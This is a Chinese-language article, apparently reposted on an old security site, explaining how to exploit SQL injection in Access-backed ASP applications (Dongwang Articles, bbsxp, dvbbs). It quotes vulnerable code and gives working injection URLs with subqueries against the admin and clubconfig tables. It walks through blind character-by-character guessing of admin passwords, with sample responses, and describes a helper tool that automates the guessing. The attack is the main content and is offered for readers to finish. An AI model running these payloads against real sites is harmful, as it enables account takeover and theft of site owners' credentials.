| 添加到收藏夹 | 返回目录页 | 上一篇:漂亮但不安全的CTB |
利用SQL Injection With Access漏洞猜测用户和密码的东东
利用sql injection with access漏洞猜测用户和密码的东东
sql injection with access
很多朋友在access下进行sql注入攻击的时候,总会抱怨:access功能太弱了,没有注释符、不支持多语句查询...另一方面,很多程序员在使用access做数据库写程序时,往往只对那些对敏感表的操作代码执行严格审查,而其他一些表的操作代码就很粗糙了。这只能说我们对access了解太少了,前不久我有幸看到了一个专门的access站点,其论坛划分了很多版块,竟然全是和access有关的;原来这里头的学问还蛮多的,我等只是略懂皮毛而已。小弟愚笨,没能力写概览型的文章,还是通过几个例子来向大家说明些问题:
一:动网文章
涉及版本: ^^^^^^^^^^ 动网文章所有版本
描述: ^^^^^^ 动网文章是一款由www.aspsky.net开发和维护的源代码开放的文章管理系统,在国内使用非常广泛;由于其list.asp文件没有过滤用户提交传递给sql查询的输入,导致远程攻击者可以利用这个漏洞进行sql注入攻击。
具体: ^^^^^^ 试看list.asp中的相关代码: 15 sql="select aclass.class,anclass.nclass,article.title,article.classid,article.nclassid
from article,aclass,anclass where article.classid=aclass.classid and article.nclassid=anclass.
nclassid and article.articleid="&request("id")
id没有经任何检查就直接放到sql查询中,这点大家都很容易看出来,但说到利用,一些朋友就可是犯难了:这个语句对应的表是 article ,但管理密码在 admin 表里面,access又不能执行多语句查询,这个bug有什么用啊?呵呵,我们使用子查询不就得了,方法好多哦:
http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 ;and exists (select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 ;and article.articleid in (select top 1 id from admin where len(password)>1 order by id) 等等...
怎么得到管理员密码就不用我废话了吧:)
二:bbsxp
涉及版本: ^^^^^^^^^^ bbsxp所有版本
描述: ^^^^^^ bbsxp是一款由www.bbsxp.com开发和维护的源代码开放的asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在sql injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。
具体: ^^^^^^ 前不久我写了篇关于bbsxp漏洞的文章,作者简单的把论坛升了级,但仍然没有全面解决sql injection的问题,比如说: bank.asp ------------------------------------------------------------------------------- 152 sql="select * from user where username="&request("dxname")&"" 153 rs1.open sql,conn,1,3 154 if rs1.eof then 155 message=message&"
查无此人的账号!" 156 end if ------------------------------------------------------------------------------- 呵呵,拿user表中所有用户密码没问题了,但又有人开始嘀咕了:bbsxp后台管理密码和论坛前台密码不同,怎么办啊?后台密码存放在 clubconfig 表中,还是和上面利用方法一样,使用子查询嘛。还给个例子吧: searchok.asp ------------------------------------------------------------------------------- forumid=request("forumid") ... 21 if request("forumid")<>"" then 22 forumidor="forumid="&forumid&" and" end if ... sql="select * from forum
where deltopic<>1 and "&forumidor&" "&item&" "&timelimit&" order by lasttime desc " ... ------------------------------------------------------------------------------- 提交类似如下url(最好写个小代码发送这个请求): http://www.target.com/bbsxp165/bbsxp/searchok.asp?search=author&searchxm=username&forumid=(select%20count (administrators)%20from%20clubconfig%20where%20len(adminpassword)>1) 瞧,我们这不是开始对 clubconfig 表进行查询了吗?
三:动网论坛(dvbbs)存在严重漏洞(补充)这个漏洞我公布后,就有好多朋友给我写信,有的问怎么破解md5(有破解的必要吗?)、有的要测试代码、还有的要我做个动画...同时也有人说后台管理密码和论坛前台密码不同,怎么拿后台的?我猜这些朋友自己没怎么思考,思考应该是种很美的享受吧?我补充下怎么拿后台md5加密的管理密码:
http://www.target.com/dv/tongji.asp?orders=2&n=2%20 ;(select%20max(id)%20from%20admin), 返回: ------------------------------------------------------------------------------- document.write(□);document.write(9);document.write( );document.write(□);document.write(9);document.write( ); -------------------------------------------------------------------------------
http://www.target.com/dv/tongji.asp?orders=2&n=2%20 ;(select%20max(id)%20from%20admin%20where%20left(password,1)=a), 返回: ------------------------------------------------------------------------------- document.write(□);document.write();document.write( );document.write(□);document.write();document.write( ); ------------------------------------------------------------------------------- 啊,为空,我们猜错了,再来:
=版权所有 软件 下载 学院 版权所有=
http://www.target.com/dv/tongji.asp?orders=2&n=2%20(select%20max (id)%20from%20admin%20where%20left(password,1)=d), 返回: ------------------------------------------------------------------------------- document.write(□);document.write(9);document.write( );document.write(□);document.write(9);document.write( ); ------------------------------------------------------------------------------- 哈哈,这下猜对了。接下来由你继续,当然,你可以把我以前写的那个小程序稍微修改后再放到这里使用!
不过我要提醒你,dvbbs后台管理文件是cookie+session双重认证哦!
后记:我到一个原代码下载站随机down了一些程序,包括论坛、留言本、文章下载管理...发现都存在类似的问题。其实只要我们谨慎点,问题就不会出现了!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
当我们猜测到表名,和password列名时,提交这样的请求
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where left(password,1)=c and id=1)
时候,如果返回文章成功则表示password字段的第一个字母为c
但是我们需要一个一个地猜,好麻烦!利用这个程序可以解决这个问题。
url,我们需要提交的url,like this
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where left(password,1)=%c and id=1)
需要变化的字符用%c表示。
特征字符串即能区别返回成功于否的标志,一般设为文章的标题。
上面的猜测出来后(假设为r),我们就可以把url设为
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where left(password,2)=r%c and id=1)
继续,得到password的第二个字符
=版权所有 软件 下载 学院 版权所有=
如此,可以得到password
注意由于access数据库被访问过快时会短时间当掉,所以请控制好时间隔~
- · 接踵而至的LB5K论坛漏洞
- · 几个VBB的跨站脚本执行漏洞小结
- · CMOS开机密码解密集锦
- · Win2000的系统安全防范对策
- · 回眸一看 操作系统发展的历程
- · 小木马cnc源代码及开发文档
- · 一个主引导区病毒的分析
- · 一个简单的文件型病毒程序
- · 一个写硬盘的VBS脚本程序
- · unix系统病毒概述
- · WinNT下使用匿名获得admin权限的几个方法
- · 配置 VMware通过令牌访问LAN
- · Debug 使用简介
- · IE即可轻松远程控制对方电脑
- · 如何利用OutLook漏洞编写病毒脚本
- · “混客绝情炸弹”源代码(1)及手工清除
- · “求职信”病毒/蠕虫行为深入分析
- · 编写感染COM与EXE文件的病毒的样例程序
- · 在Win 2003中配置ASP.net环境
- · 将病毒斩草除根
- · 手机病毒
- · 使用TCP/IP协议栈指纹进行远程操作系统辨识
- · 安全维护 IIS asp 站点的高级技巧
- · 防止内部IP地址泄漏的2种方法
- · 网络常见攻击与防范完全手册
- · Windows NT2000下的硬盘锁
- · CIH硬盘数据恢复方法与实例
- · 清除双关联木马“聪明基因”
- · 104种木马手工清除方法
- · 如何隐藏程序的运行
- · 六十四、WINOWS NT4.0下的网络安全性
- · 六十二、从DOS直接入网NT
- · 六十一、NT网的无盘工作站远程登陆
- · 六十、Windows NT4.0网络中漫游用户配置文件的建立
- · 五十九、配置广域网中的Windows NT
- · 五十八、NT Server用作Internet的网关
- · 五十六、 NT网卡和Novell网卡互用
- · 五十四、如何使NT4.0支持你的调制解调器
- · 本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
- · 计算机网络系统安全漏洞分类研究
- · 利用万象来控制整个网吧
- · WIN2000的输入法入侵
- · 傲者TXT炸弹(标准版)
- · 主页木马的制作方法
- · IIS UNICODE Bug
- · BBS3000漏洞
- · CGI漏洞集锦
- · SNMP漏洞威胁网络安全
- · 安全专家欲以黑制黑
- · 用net命令使局域网文件批量同步更新
- · 安全高招:让溢出攻击远离我们
- · Firefox使用技巧六则
- · 支持Rss,优化速度:傲游1.2.0发布
- · 四十九、从DOS工作站登录NTS4.0服务器
- · 十三、WIN2000下的xcopy可以复制文件的安全设置
- · “网上邻居”如何和平共处?
- · NT的19个秘密武器
- · 如何在WIN2000下共享ADSL
- · MyIM聊天软件全接触——手把手教你玩转MyIM
- · 手把手教你玩压缩:WinRAR初级教程

